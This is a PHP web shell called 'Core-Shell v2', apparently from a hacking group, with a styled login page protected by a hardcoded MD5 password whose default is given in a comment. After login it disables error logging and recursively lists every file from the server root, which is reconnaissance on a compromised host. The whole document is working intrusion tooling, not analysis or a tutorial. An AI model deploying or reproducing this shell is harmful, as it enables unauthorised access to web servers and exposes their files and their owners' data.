Form Login Core-Shell v2

<?php
$auth_pass = "a8692d0d5adc2b62ead8da107e05f486"; //default = core-v2
function printLogin(){
?>
<html>
<head>
<title> Core-Shell v2 </title>
<style>
body {
  color: #DF0000;
  background:#000000;
}
*,
*:before,
*:after {
   box-sizing: border-box;
}
form {
  border: 1px solid #c6c7cc;
  border-radius: 5px;
  font: 14px/1.4 "Helvetica Neue", Helvetica, Arial, sans-serif;
  overflow: hidden;
  width: 240px;
}
fieldset {
  border: 0;
  margin: 0;
  padding: 0;
}
input {
  border-radius: 5px;
  font: 14px/1.4 "Helvetica Neue", Helvetica, Arial, sans-serif;
  margin: 0;
}
.account-info {
  padding: 20px 20px 0 20px;
}
.account-info label {
  color: #395870;
  display: block;
  font-weight: bold;
  margin-bottom: 20px;
}
.account-info input {
  background: #fff;
  border: 1px solid #c6c7cc;
   box-shadow: inset 0 1px 1px rgba(0, 0, 0, .1);
  color: #636466;
  padding: 6px;
  margin-top: 6px;
  width: 100%;
}
.account-action {
  background: #f0f0f2;
  border-top: 1px solid #c6c7cc;
  padding: 20px;
}
.account-action .btn {
  background: linear-gradient(#49708f, #293f50);
  border: 0;
  color: #fff;
  cursor: pointer;
  font-weight: bold;
  float: left;
  padding: 8px 16px;
}
.account-action label {
  color: #7c7c80;
  font-size: 12px;
  float: left;
  margin: 10px 0 0 20px;
}
</style>
<body>
<center>
<h1> Core-Shell v2 By Aihara Anwaru </h1>
<a href='http://mrlover21.org' title='Falcon-G21 Team Dark' target='_blank'><img src='http://ninjakiwi.com/dev/clan-assets/clan-shields/Shield_Falcons.png' width='200' height='200'></a>
<form action="" method="post">
  <fieldset class="account-info">
    <label>
      Password
      <input type="password" name="pass">
    </label>
  </fieldset>
  <fieldset class="account-action">
   <input class="btn" type="submit" name="sub" value="Login">
  </fieldset>
</form>
<center><address>Copyright © 2015 Falcon-G21 Team Dark</address></center>
<?php
    exit;
}
if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
    if( empty( $auth_pass ) ||
        ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
        $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
    else
        printLogin();
//=============================================================================

@ini_set('log_errors',0);
@ini_set('output_buffering',0);

$directory = '/';

$it = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory));

while($it->valid()) {

    if (!$it->isDot()) {

        echo 'SubPathName: ' . $it->getSubPathName() . "<br />";
        echo 'SubPath:     ' . $it->getSubPath() . "<br />";
        echo 'Key:         ' . $it->key() . "<br />";
    }

    $it->next();
}
?>